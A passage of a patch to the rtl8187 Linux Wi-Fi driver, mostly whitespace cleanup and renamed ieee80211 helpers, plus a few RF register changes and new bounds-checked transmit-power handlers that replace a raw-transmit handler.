0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x9d); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1006,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1023,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-06-08 23:30:33.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,157 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +236,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or 